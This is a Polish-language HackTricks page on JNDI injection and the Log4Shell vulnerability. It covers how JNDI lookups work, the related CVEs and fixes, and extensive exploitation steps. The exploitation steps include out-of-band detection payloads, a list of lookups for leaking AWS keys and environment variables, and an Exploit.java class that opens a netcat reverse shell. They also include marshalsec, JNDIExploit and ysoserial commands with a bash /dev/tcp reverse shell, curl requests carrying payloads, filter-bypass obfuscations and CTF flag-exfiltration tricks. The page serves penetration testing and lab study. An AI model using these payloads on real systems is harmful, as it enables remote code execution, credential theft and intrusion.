JNDI - Java Naming and Directory Interface & Log4Shell

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Try Hard Security Group


Podstawowe informacje

JNDI, zintegrowane z Javą od końca lat 90., służy jako usługa katalogowa, umożliwiając programom Javy lokalizację danych lub obiektów poprzez system nazw. Obsługuje różne usługi katalogowe za pomocą interfejsów dostawcy usług (SPI), umożliwiając pobieranie danych z różnych systemów, w tym zdalnych obiektów Javy. Wspólne SPI obejmują CORBA COS, Rejestr Java RMI i LDAP.

Odwołania nazw JNDI

Obiekty Javy mogą być przechowywane i pobierane za pomocą Odwołań Nazw JNDI, które występują w dwóch formach:

  • Adresy odwołań: Określają lokalizację obiektu (np. rmi://serwer/odwołanie), umożliwiając bezpośrednie pobieranie z określonego adresu.

  • Zdalna fabryka: Odwołuje się do klasy zdalnej fabryki. Po dostępie klasa jest pobierana i instancjonowana z lokalizacji zdalnej.

Jednak ten mechanizm może być wykorzystany, co potencjalnie prowadzi do wczytywania i wykonania dowolnego kodu. Jako środek zaradczy:

  • RMI: java.rmi.server.useCodeabseOnly = true domyślnie od JDK 7u21, ograniczając wczytywanie zdalnych obiektów. Menadżer bezpieczeństwa dodatkowo ogranicza to, co może być wczytane.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false domyślnie od JDK 6u141, 7u131, 8u121, blokując wykonanie zdalnie wczytanych obiektów Javy. Jeśli ustawione na true, możliwe jest wykonanie zdalnego kodu bez nadzoru Menadżera bezpieczeństwa.

  • CORBA: Nie ma określonej właściwości, ale Menadżer bezpieczeństwa jest zawsze aktywny.

Jednak Menadżer Nazw, odpowiedzialny za rozwiązywanie łączy JNDI, nie posiada wbudowanych mechanizmów bezpieczeństwa, co potencjalnie pozwala na pobieranie obiektów z dowolnego źródła. Stanowi to ryzyko, ponieważ zabezpieczenia RMI, LDAP i CORBA mogą zostać obejścia, prowadząc do wczytywania dowolnych obiektów Javy lub wykorzystania istniejących komponentów aplikacji (gadżetów) do uruchamiania złośliwego kodu.

Przykłady podatnych adresów URL to:

  • rmi://serwer-atakujący/bar

  • ldap://serwer-atakujący/bar

  • iiop://serwer-atakujący/bar

Mimo zabezpieczeń, pozostają podatności, głównie z powodu braku zabezpieczeń przed wczytywaniem JNDI z niezaufanych źródeł i możliwością obejścia istniejących zabezpieczeń.

Przykład JNDI

Nawet jeśli ustawiłeś PROVIDER_URL, możesz wskazać inny w wyszukiwaniu i zostanie on dostępny: ctx.lookup("<kontrolowany-przez-atakującego-url>"), a to jest to, co atakujący wykorzysta do wczytywania dowolnych obiektów z systemu kontrolowanego przez niego.

Przegląd CORBA

CORBA (Common Object Request Broker Architecture) wykorzystuje Interoperable Object Reference (IOR) do unikalnej identyfikacji zdalnych obiektów. To odwołanie zawiera istotne informacje, takie jak:

  • ID typu: Unikalny identyfikator interfejsu.

  • Codebase: URL do uzyskania klasy stub.

Warto zauważyć, że CORBA nie jest wrodzony podatny. Zapewnienie bezpieczeństwa zwykle obejmuje:

  • Instalacja Menadżera Bezpieczeństwa.

  • Konfiguracja Menadżera Bezpieczeństwa w celu zezwolenia na połączenia z potencjalnie złośliwymi codebase'ami. Można to osiągnąć poprzez:

  • Uprawnienia gniazda, np. permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Uprawnienia do odczytu plików, albo uniwersalnie (permission java.io.FilePermission "<<ALL FILES>>", "read";) albo dla określonych katalogów, gdzie mogą być umieszczone złośliwe pliki.

Jednak niektóre polityki dostawców mogą być pobłażliwe i domyślnie zezwalać na te połączenia.

Kontekst RMI

Dla RMI (Remote Method Invocation) sytuacja jest nieco inna. Podobnie jak w przypadku CORBA, domyślnie jest ograniczone pobieranie dowolnych klas. Aby wykorzystać RMI, zazwyczaj trzeba obejść Menadżera Bezpieczeństwa, co jest również istotne w przypadku CORBA.

LDAP

Po pierwsze, musimy odróżnić między Wyszukiwaniem a Poszukiwaniem. Wyszukiwanie będzie używać URL-a takiego jak ldap://localhost:389/o=JNDITutorial, aby znaleźć obiekt JNDITutorial na serwerze LDAP i pobrać jego atrybuty. Poszukiwanie jest przeznaczone dla usług nazw, ponieważ chcemy pobrać to, co jest powiązane z nazwą.

Jeśli wywołano wyszukiwanie LDAP z SearchControls.setReturningObjFlag() z true, to zwrócony obiekt zostanie odtworzony.

Dlatego istnieje kilka sposobów ataku na te opcje. Atakujący może zatruć rekordy LDAP wprowadzając do nich ładunki, które zostaną wykonane w systemach, które je zbierają (bardzo przydatne do skompromitowania dziesiątek maszyn, jeśli masz dostęp do serwera LDAP). Inny sposób wykorzystania tego polega na przeprowadzeniu ataku typu MitM w wyszukiwaniu LDAP na przykład.

W przypadku, gdy aplikacja może rozwiązać URL JNDI LDAP, można kontrolować wyszukiwane LDAP, i można odesłać exploit (log4shell).

Wykorzystanie deserializacji

Exploit jest zserializowany i zostanie zdeserializowany. W przypadku, gdy trustURLCodebase jest ustawione na true, atakujący może dostarczyć swoje własne klasy w codebase, jeśli nie, będzie musiał wykorzystać gadżety w classpath.

Wykorzystanie odwołania JNDI

Łatwiej jest zaatakować ten LDAP za pomocą odwołań JavaFactory:

Wrażliwość Log4Shell

Wrażliwość jest wprowadzona w Log4j, ponieważ obsługuje specjalną składnię w postaci ${prefix:name}, gdzie prefix jest jednym z różnych Lookups, a name powinien być oceniony. Na przykład ${java:version} to aktualna wersja Javy.

LOG4J2-313 wprowadził funkcję jndi Lookup. Ta funkcja umożliwia pobieranie zmiennych poprzez JNDI. Zazwyczaj klucz jest automatycznie prefiksowany jako java:comp/env/. Jednak jeśli sam klucz zawiera ":", ten domyślny prefiks nie jest stosowany.

Z : obecnym w kluczu, jak w ${jndi:ldap://przykład.com/a}, brak prefiksu i serwer LDAP jest zapytywany o obiekt. Te Lookups mogą być używane zarówno w konfiguracji Log4j, jak i podczas logowania linii.

Dlatego jedyną rzeczą potrzebną do uzyskania RCE jest wrażliwa wersja Log4j przetwarzająca informacje kontrolowane przez użytkownika. Ponieważ jest to biblioteka szeroko używana przez aplikacje Javy do logowania informacji (w tym aplikacje dostępne w Internecie), było bardzo powszechne, aby log4j logował na przykład otrzymane nagłówki HTTP, takie jak User-Agent. Jednak log4j nie jest używany tylko do logowania informacji HTTP, ale dowolnego wejścia i danych wskazanych przez programistę.

Przegląd CVE związanych z Log4Shell

CVE-2021-44228 [Krytyczny]

Ta podatność to krytyczna luka w nieskrystalizowanej deserializacji w komponencie log4j-core, dotykająca wersji od 2.0-beta9 do 2.14.1. Pozwala na zdalne wykonanie kodu (RCE), umożliwiając atakującym przejęcie systemów. Problem został zgłoszony przez Chena Zhaojuna z zespołu Alibaba Cloud Security i dotyka różnych frameworków Apache. Pierwsza poprawka w wersji 2.15.0 była niekompletna. Dostępne są reguły Sigma do obrony (Reguła 1, Reguła 2).

CVE-2021-45046 [Krytyczny]

Początkowo oceniona jako niska, ale później podniesiona do krytycznej, ta CVE to luka Denial of Service (DoS) wynikająca z niekompletnej poprawki w wersji 2.15.0 dla CVE-2021-44228. Dotyka konfiguracji niestandardowych, umożliwiając atakującym przeprowadzenie ataków DoS za pomocą specjalnie spreparowanych ładunków. Tweet prezentuje metodę bypassu. Problem został rozwiązany w wersjach 2.16.0 i 2.12.2 poprzez usunięcie wzorców wyszukiwania wiadomości i domyślne wyłączenie JNDI.

CVE-2021-4104 [Wysoki]

Dotykająca wersji Log4j 1.x w konfiguracjach niestandardowych korzystających z JMSAppender, ta CVE to luka w nieskrystalizowanej deserializacji. Brak dostępnej poprawki dla gałęzi 1.x, która jest przestarzała, zaleca się aktualizację do log4j-core 2.17.0.

CVE-2021-42550 [Średni]

Ta podatność dotyka frameworku logowania Logback, następcy Log4j 1.x. Wcześniej uważano, że framework jest bezpieczny, ale znaleziono w nim podatność, dlatego wydano nowe wersje (1.3.0-alpha11 i 1.2.9), aby rozwiązać problem.

CVE-2021-45105 [Wysoki]

Log4j 2.16.0 zawiera lukę DoS, co skłoniło do wydania log4j 2.17.0 w celu naprawienia CVE. Więcej szczegółów znajduje się w raporcie BleepingComputer report.

Dotykająca wersji log4j 2.17, ta CVE wymaga, aby atakujący kontrolował plik konfiguracyjny log4j. Dotyczy potencjalnego wykonania arbitralnego kodu za pomocą skonfigurowanego JDBCAppender. Więcej szczegółów znajduje się w postać na blogu Checkmarx.

Eksploatacja Log4Shell

Odkrycie

Ta podatność jest bardzo łatwa do odkrycia, jeśli nie jest chroniona, ponieważ przynajmniej wyśle żądanie DNS pod adres, który wskazujesz w swoim ładunku. Dlatego ładunki takie jak:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (korzystając z canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (korzystając z interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (korzystając z Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (korzystając z dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} (korzystając z huntress)

Zauważ, że nawet jeśli otrzymasz żądanie DNS, nie oznacza to, że aplikacja jest podatna (ani nawet podatna), będziesz musiał spróbować ją wykorzystać.

Pamiętaj, żeby wykorzystać wersję 2.15, musisz dodać bypass sprawdzania lokalnego hosta: ${jndi:ldap://127.0.0.1#...}

Odkrywanie lokalne

Szukaj lokalnych podatnych wersji biblioteki za pomocą:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Weryfikacja

Niektóre z wymienionych platform pozwolą Ci wstawić pewne zmienne dane, które zostaną zapisane w momencie ich żądania. Może to być bardzo przydatne do 2 rzeczy:

  • Do zweryfikowania podatności

  • Do wycieku informacji poprzez nadużycie podatności

Na przykład możesz poprosić o coś takiego: lub takie ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} i jeśli zostanie odebrany żądanie DNS z wartością zmiennej środowiskowej, wiesz, że aplikacja jest podatna.

Inne informacje, które możesz spróbować wyciec:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Informacje o RCE

Hosty działające na wersjach JDK powyżej 6u141, 7u131 lub 8u121 są zabezpieczone przed atakiem załadowania klasy LDAP. Wynika to z domyślnego wyłączenia com.sun.jndi.ldap.object.trustURLCodebase, co uniemożliwia JNDI załadowanie zdalnej bazy kodu za pośrednictwem LDAP. Jednakże ważne jest zauważenie, że te wersje nie są chronione przed wektorem ataku deserializacji.

Dla atakujących dążących do wykorzystania tych wyższych wersji JDK, konieczne jest wykorzystanie zaufanego gadżetu w aplikacji Java. Narzędzia takie jak ysoserial lub JNDIExploit są często używane w tym celu. W przeciwieństwie do tego, wykorzystanie niższych wersji JDK jest stosunkowo łatwiejsze, ponieważ te wersje można manipulować w celu załadowania i wykonania dowolnych klas.

Dla więcej informacji (takich jak ograniczenia wektorów RMI i CORBA) sprawdź poprzednią sekcję odniesienia do JNDI Naming lub https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec z niestandardowym ładunkiem

Możesz przetestować to na THM box: https://tryhackme.com/room/solar

Użyj narzędzia marshalsec (wersja jar dostępna tutaj). Ten podejście ustanawia serwer przekierowań LDAP, który przekierowuje połączenia do drugiego serwera HTTP, gdzie będzie hostowany exploit:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Aby zmusić cel do załadowania kodu odwróconego powłoki, stwórz plik Java o nazwie Exploit.java o poniższej zawartości:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Skompiluj plik Java do pliku klasy używając: javac Exploit.java -source 8 -target 8. Następnie uruchom serwer HTTP w katalogu zawierającym plik klasy za pomocą: python3 -m http.server. Upewnij się, że serwer LDAP marshalsec odnosi się do tego serwera HTTP.

Wywołaj wykonanie klasy exploit na podatnym serwerze internetowym, wysyłając ładunek przypominający:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Uwaga: To wykorzystanie opiera się na konfiguracji Javy umożliwiającej zdalne ładowanie kodu za pomocą LDAP. Jeśli to nie jest dozwolone, rozważ wykorzystanie zaufanej klasy do wykonania arbitralnego kodu.

RCE - JNDIExploit

Zauważ, że z jakiegoś powodu autor usunął ten projekt z github po odkryciu log4shell. Możesz znaleźć zarchiwizowaną wersję pod adresem https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, ale jeśli chcesz uszanować decyzję autora, skorzystaj z innej metody wykorzystania tej podatności.

Co więcej, nie można znaleźć kodu źródłowego w wayback machine, więc albo przeanalizuj kod źródłowy, albo wykonaj plik jar, wiedząc, że nie wiesz, co wykonujesz.

W tym przykładzie możesz uruchomić serwer internetowy podatny na log4shell na porcie 8080: https://github.com/christophetd/log4shell-vulnerable-app (w pliku README znajdziesz instrukcje jak go uruchomić). Ta podatna aplikacja rejestruje zawartość nagłówka żądania HTTP X-Api-Version za pomocą podatnej wersji log4shell.

Następnie możesz pobrać plik jar JNDIExploit i go uruchomić za pomocą:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Po przeczytaniu kodu zaledwie kilka minut, w com.feihong.ldap.LdapServer i com.feihong.ldap.HTTPServer można zobaczyć, jak są tworzone serwery LDAP i HTTP. Serwer LDAP będzie rozumiał, jakie dane potrzebują być obsłużone i przekieruje ofiarę do serwera HTTP, który dostarczy exploit. W com.feihong.ldap.gadgets można znaleźć kilka konkretnych gadżetów, które mogą być użyte do wykonania pożądanej akcji (potencjalnie wykonującej arbitralny kod). Natomiast w com.feihong.ldap.template można zobaczyć różne klasy szablonów, które generują exploity.

Można zobaczyć wszystkie dostępne exploity za pomocą java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Kilka przydatnych to:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Więc, w naszym przykładzie, mamy już uruchomioną podatną aplikację dockerową. Aby ją zaatakować:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Kiedy wysyłasz ataki, zobaczysz pewne wyniki w terminalu, w którym uruchomiłeś JNDIExploit-1.2-SNAPSHOT.jar.

Pamiętaj, aby sprawdzić java -jar JNDIExploit-1.2-SNAPSHOT.jar -u w celu uzyskania innych opcji eksploatacji. Ponadto, w razie potrzeby, możesz zmienić port serwerów LDAP i HTTP.

RCE - JNDI-Exploit-Kit

Podobnie jak w poprzedniej eksploatacji, możesz spróbować użyć JNDI-Exploit-Kit do wykorzystania tej podatności. Możesz wygenerować adresy URL do wysłania do ofiary, uruchamiając:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

To atak przy użyciu niestandardowo wygenerowanego obiektu javy będzie działał w laboratoriach takich jak THM solar room. Jednakże, ogólnie rzecz biorąc, to nie zadziała (ponieważ domyślnie Java nie jest skonfigurowana do ładowania zdalnego codebase za pomocą LDAP), ponieważ nie wykorzystuje zaufanej klasy do wykonania dowolnego kodu.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus to kolejne narzędzie do generowania działających linków JNDI i dostarczania usług tła poprzez uruchamianie serwera RMI, serwera LDAP i serwera HTTP.

RCE - ysoserial & JNDI-Exploit-Kit

Ta opcja jest naprawdę przydatna do atakowania wersji Javy skonfigurowanych do zaufania tylko określonym klasom, a nie wszystkim. Dlatego ysoserial będzie używany do generowania serializacji zaufanych klas, które mogą być używane jako gadżety do wykonywania dowolnego kodu (zaufana klasa wykorzystywana przez ysoserial musi być używana przez program javy ofiary, aby atak zadziałał).

Korzystając z ysoserial lub ysoserial-modified możesz stworzyć exploit deserializacji, który zostanie pobrany przez JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Użyj JNDI-Exploit-Kit, aby wygenerować JNDI linki, gdzie exploit będzie czekał na połączenia z podatnych maszyn. Możesz serwować różne exploity, które mogą być automatycznie generowane przez JNDI-Exploit-Kit lub nawet swoje własne ładunki deserializacji (wygenerowane przez Ciebie lub ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Teraz możesz łatwo użyć wygenerowanego linku JNDI do wykorzystania podatności i uzyskania odwróconego shella wysyłając go do podatnej wersji log4j: ${ldap://10.10.14.10:1389/generated}

Ominięcia

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Automatyczne skanery

Laboratoria do testów

Eksploatacja po Log4Shell

W tym opisie CTF jest dobrze wyjaśnione, jak potencjalnie można wykorzystać niektóre funkcje Log4J.

Na stronie zabezpieczeń Log4j znajdują się interesujące zdania:

Od wersji 2.16.0 (dla Java 8) funkcja wyszukiwania wiadomości została całkowicie usunięta. Wyszukiwania w konfiguracji wciąż działają. Ponadto, Log4j teraz domyślnie wyłącza dostęp do JNDI. Wyszukiwania JNDI w konfiguracji muszą teraz być włączone explicite.

Od wersji 2.17.0 (oraz 2.12.3 i 2.3.1 dla Java 7 i Java 6), tylko łańcuchy wyszukiwania w konfiguracji są rozwijane rekurencyjnie; w każdym innym użyciu, rozwiązywany jest tylko najwyższy poziom wyszukiwania, a żadne zagnieżdżone wyszukiwania nie są rozwiązywane.

Oznacza to, że domyślnie nie można używać żadnego exploitu jndi. Ponadto, aby wykonać rekurencyjne wyszukiwania, musisz je skonfigurować.

Na przykład, w tym CTF było to skonfigurowane w pliku log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Poszukiwanie środowiska

W tym CTF atakujący kontrolował wartość ${sys:cmd} i musiał wydobyć flagę z zmiennej środowiskowej. Jak widać na tej stronie w poprzednich ładunkach istnieją różne sposoby dostępu do zmiennych środowiskowych, takie jak: ${env:FLAG}. W tym CTF było to bezużyteczne, ale może być przydatne w innych scenariuszach życia codziennego.

Wydobywanie w wyjątkach

W CTF, nie można było uzyskać dostępu do stderr aplikacji Java za pomocą log4J, ale wyjątki Log4J są wysyłane do stdout, co było drukowane w aplikacji Python. Oznaczało to, że wywołując wyjątek mogliśmy uzyskać dostęp do zawartości. Wyjątkiem do wydobycia flagi było: ${java:${env:FLAG}}. Działa to, ponieważ ${java:CTF{blahblah}} nie istnieje, a wyjątek z wartością flagi zostanie pokazany:

Wyjątki wzorców konwersji

Warto wspomnieć, że można również wstrzyknąć nowe wzorce konwersji i wywołać wyjątki, które zostaną zapisane w stdout. Na przykład:

To nie było przydatne do wydobycia daty z wiadomości o błędzie, ponieważ wyszukiwanie nie zostało rozwiązane przed wzorcem konwersji, ale może być przydatne do innych rzeczy, takich jak wykrywanie.

Wzorce konwersji Regexes

Jednakże, można użyć niektórych wzorców konwersji, które obsługują wyrażenia regularne do wydobycia informacji z wyszukiwania, korzystając z wyrażeń regularnych i nadużywając zachowań przeszukiwania binarnego lub opartych na czasie.

  • Przeszukiwanie binarne za pomocą komunikatów o wyjątkach

Wzorzec konwersji %replace może być użyty do zastąpienia zawartości w łańcuchu znaków nawet za pomocą wyrażeń regularnych. Działa to w ten sposób: replace{pattern}{regex}{substitution} Wykorzystując to zachowanie, można spowodować, że zastąpienie wywoła wyjątek, jeśli wyrażenie regularne pasuje do czegokolwiek wewnątrz łańcucha znaków (i brak wyjątku, jeśli nie zostanie znalezione) w ten sposób:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Opóźnienie czasowe

Jak wspomniano w poprzednim rozdziale, %replace obsługuje wyrażenia regularne. Dlatego możliwe jest użycie ładunku z strony ReDoS, aby spowodować opóźnienie w przypadku znalezienia flagi. Na przykład ładunek taki jak %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} spowoduje opóźnienie w tamtym CTF.

W tym opisie, zamiast używać ataku ReDoS, użyto ataku amplifikacji w celu spowodowania różnicy czasu w odpowiedzi:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Jeśli flaga zaczyna się od flagGuess, cała flaga zostanie zastąpiona 29 znakami # (użyłem tego znaku, ponieważ prawdopodobnie nie będzie częścią flagi). Każdy z wynikowych 29 znaków # jest następnie zastępowany przez 54 znaki #. Ten proces jest powtarzany 6 razy, co daje w sumie 29*54*54^6* =`` ``96816014208 znaków #!

Zastąpienie tak wielu znaków # spowoduje wywołanie 10-sekundowego limitu czasowego aplikacji Flask, co z kolei skutkuje wysłaniem kodu stanu HTTP 500 do użytkownika. (Jeśli flaga nie zaczyna się od flagGuess, otrzymamy kod stanu inny niż 500)

Odnośniki

Try Hard Security Group

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated